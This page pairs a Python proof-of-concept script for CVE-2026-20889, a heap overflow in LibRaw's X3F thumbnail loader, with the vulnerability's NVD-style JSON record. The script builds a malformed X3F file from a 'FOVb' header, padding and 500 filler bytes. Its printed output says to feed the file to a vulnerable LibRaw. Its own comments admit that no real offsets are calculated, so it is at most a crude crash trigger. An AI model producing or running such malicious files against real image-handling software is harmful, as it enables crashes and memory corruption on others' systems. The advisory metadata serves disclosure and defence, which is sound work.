CVE-2026-20889

import struct def create_malicious_x3f(filename): """ Generates a malformed X3F file to trigger the heap overflow in LibRaw. This PoC simulates a crafted header that causes x3f_thumb_loader to overflow. """ # X3F file header identifier file_id = b"FOVb" version = struct.pack('<I', 0x00020000) # Simulate a directory entry pointing to a malicious data block # In a real exploit, offsets and sizes would be carefully calculated # to overwrite specific heap metadata or return addresses. # Padding to reach the vulnerable parsing logic padding = b"\x00" * 0x20 # Malicious payload designed to overflow the heap buffer # Assuming a heap chunk of size N is allocated, we write N + X bytes. overflow_payload = b"A" * 500 with open(filename, 'wb') as f: f.write(file_id) f.write(version) f.write(padding) f.write(overflow_payload) if __name__ == "__main__": print("[*] Creating malicious X3F file for CVE-2026-20889...") create_malicious_x3f("exploit_CVE-2026-20889.x3f") print("[+] File 'exploit_CVE-2026-20889.x3f' generated successfully.") print("[*] Use this file with a vulnerable version of LibRaw to trigger the crash.")

{"cve": {"id": "CVE-2026-20889", "sourceIdentifier": "[email protected]", "published": "2026-04-07T15:17:35.300", "lastModified": "2026-04-10T20:51:04.523", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap-based buffer overflow vulnerability exists in the x3f_thumb_loader functionality of LibRaw Commit d20315b. A specially crafted malicious file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libraw:libraw:0.22.0:*:*:*:*:*:*:*", "matchCriteriaId": "9ACBEE8D-088E-4185-BD49-B862B996D3C6"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2026-2358", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2026-2358", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}